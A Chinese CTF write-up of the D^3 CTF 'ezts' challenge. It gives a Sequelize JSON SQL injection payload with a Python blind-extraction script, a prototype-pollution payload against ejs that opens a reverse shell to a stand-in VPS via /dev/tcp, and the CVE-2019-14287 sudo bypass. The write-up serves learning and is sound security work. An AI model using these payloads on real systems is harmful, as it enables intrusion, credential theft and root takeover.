2019 D^3 CTF-ezts复现

题目源码:https://github.com/evi0s/ezts

ezts

题目提示:ORM $eq Not SQLi?

随便注册一个账号登陆后抓包发现Cookie中带有koa:sess字段,可以判断出是nodejs的Koa框架

sql注入

/search路由中发现key字段查询加入单引号出现500报错,猜测存在sql注入

搜索koa ORM相关的注入:https://snyk.io/vuln/SNYK-JS-SEQUELIZE-459751

里面提到:由于sequelize.json()在格式化MySQL,MariaDB和SQLite的JSON查询的子路径时,助手功能无法正确转义值,因此此软件包的受影响版本容易受到SQL注入的攻击。

而在/search路由中,由于key字段经过ORM框架的sequelize.json()处理,所以无法对我们输入的单引号进行转义,从而出现报错。实际上复现的docker环境里报错信息直接将sql语句告诉了我们:

因此注入payload:

1
/search?key=0'))='1' or ascii(substr(database(),1,1))=99#&value=1

后面就是毫无过滤的注数据了,注入exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://192.168.3.25:8888/search?key="

database = ""#ctf
table_name = "Users"
column_name = "id,username,password,data,createdAt,updatedAt"
username = "admin"
password = "049828a439142353"
for i in range(1,50):
for j in range(44,128):
#payload = "0'))='1'+or+ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name='Users'),"+str(i)+",1))="+str(j)+"%23&value=1"
payload = "0'))='1'+or+ascii(substr((select+password+from+Users+where+username='admin')," + str(i) + ",1))=" + str(j) + "%23&value=1"
headers = {
"Cookie":"koa:sess=eyJ1c2VybmFtZSI6InNvbW51cyIsImlkIjoyLCJfZXhwaXJlIjoxNTc2Njc0OTM0MTU0LCJfbWF4QWdlIjo4NjQwMDAwMH0=;koa:sess.sig=uXAGtG568GjcDhSf5R2TqtrVfJ8"
}
r = requests.get(url+payload,headers=headers)
if "Record Exist!" in r.text:
database = database + chr(j)
print database

注入得到admin账号:admin/049828a439142353

js原型链污染

拿到admin账号登陆后台后,进入/admin/manage路由后发现有管理用户数据和查询用户数据的功能。在管理数据部分可以对用户数据进行修改,比如我们可以修改admin用户的数据

随便提交个数据发现adminUserData未变化,可能要提交json格式数据,提交:

1
{"test":"test"}

成功添加数据,那么说明就有将json格式数据合并的作用,就能想到可能存在原型链污染

试着提交如下POC:

1
{"somnus":{"constructor":{"prototype":{"a":"b"}}}}

会发现somnus字段的对应值不见了,说明UserData代表的数据部分是一个对象,我们提交了上述POC后已经成功污染了该对象的父类,在父类添加了一个属性a,值为b。该POC实际上就相当于执行了UserData.__proto__.a = "b"操作。

至此可以判断出此处存在原型链污染漏洞,既然前端没有啥可以利用的,只能考虑利用后端。在XNUCA的HardJS中,就利用了后端ejs模板渲染从而导致的RCE,其原理是ejs模板引擎中通常由eval等操作用于解析。我们可以污染后端ejs的某个对象从而通过模板引擎执行造成RCE。具体可以参考我之前分析的原型链污染:https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

直接添加如下payload:

1
{"content":{"constructor":{"prototype":{"client":true,"escapeFunction":"1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your_vps/8888 0>&1\"')"}}}}

提交后vps上监听端口即可反弹到shell

sudo提权

反弹shell后,直接读取flag会提示权限不足,根目录下flag文件权限为0400。正常题目如果flag无权限读取一般会有个/readflag之类的可执行文件,而题目环境并没有这样的可执行文件

所以猜测可能需要进行提权的操作。这里使用了非常新的 sudoCVE: CVE-2019-14287 ,参考:https://paper.seebug.org/1057/

首先使用sudo -l命令查看当前用户nodesudo配置

1
2
3
4
node@40ed5c086307:/$ sudo -l
sudo -l
User node may run the following commands on 40ed5c086307:
(ALL, !root) NOPASSWD: /bin/cat /flag

说明node用户可以被允许以非root身份来执行命令:/bin/cat /flag

如果直接执行/bin/cat /flag会提示权限不足

sudo -u 可以通过指定 UID 的方式来代替用户,当指定的 UID 为 -14294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以root身份执行命令。所以最后的payload:

1
2
sudo -u#-1 /bin/cat /flag
sudo -u#4294967295 /bin/cat/flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/18/D%5E3ctf-ezts/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog